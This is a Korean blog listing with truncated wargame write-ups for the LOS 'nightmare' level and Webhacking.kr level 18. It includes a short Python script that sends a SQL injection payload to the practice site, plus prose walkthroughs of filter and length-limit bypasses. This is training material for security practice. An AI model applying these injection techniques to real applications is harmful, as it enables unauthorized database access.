LOS :: 18번 NIGHTMARE WRITE UP 1234567891011import requests url = "http://los.rubiya.kr/nightmare_be1285a95aa20e8fa154cb977c37fee5.php"session = {'PHPSESSID':'MY_SESSION'}data = {'pw':"')*0;"+chr(0)} res = requests.get(url, params=data, cookies = session) if "Clear!" in res.text: print("[♪] NIGHTMARE Clear!") Colored by Color Scriptercs Wargame/LOS(rubiya) 7년 전
[LOS]18번 nightmare 나이트메어.. 굉장히 힘든문제였다...ㅠㅠ 굉장히 조건이 까다로워서 힘들었다. 길이가 최대 6글자까지만 입력가능하다.... 닫는 쿼터,괄호,주석만 해도 반이상을 써버리는데 조건은 언제 쓸 수 있는건지.... '어떻게 풀지?' 라는 사고에 싸여 방황하던중 몇시간이 지나고서야 어디에 중점을 두어야할지 감이 잡히기 시작했다. 아무래도 뒤의 쿼리문때문에 주석은 필요한게 맞는것 같다. 그렇다면 주석을 우회하는 방법은? ;%00 ;과 NULL 두글자를 사용해야한다. 주석을 사용한다면 손수 싱글쿼터와 괄호를 막아주어야하니 두글자를 더 써야한다. 즉 ');%00 현재까지 총 4글자를 사용했다. 나머지 두글자를 이용해 참을 만들어야한다. 이 부분에서 한번 더 막힌다. 남은 글자는 총 두글자 참으로 만들기 위해선 하나는 .. Wargame/LOS(eagle-jump) 8년 전
[Webhacking.kr]18번 18번 문제를 클릭하면 나오는 화면이다. 대문에 SQL INJECTION이라고 떡하니 쓰여져있다. 소스를 주니 한번 따라가보자 ]음... 여러가지를 필터링 하고있다. 그리고 쿼리부분에서 no변수의 값에 쿼터가 없어 취약점이 발생할 수 있음을 알 수 있다. 우선 id가 guest라고 떡하니 쓰여져있고 no와 and로 묶여있으니 or로 분리하면 되겠구나! ( A and B ) or C 이런느낌? 우선 좌측이 거짓이 되어야지 C가 참이 되면서 참의 값을 가져올테니 GUEST를 찾아보자! 사실 찾지 않아도 되지만 찾고싶었다. 아무튼 숫자 1이 guest의 no임을 알 수 있다. 자 이제 명령을 넣어보자 0 or id='admin' 앙? 안된다. 소스를 다시보니 스페이스가 막혀있다... 스페이스가 필요한데...... Wargame/webhacking.kr 8년 전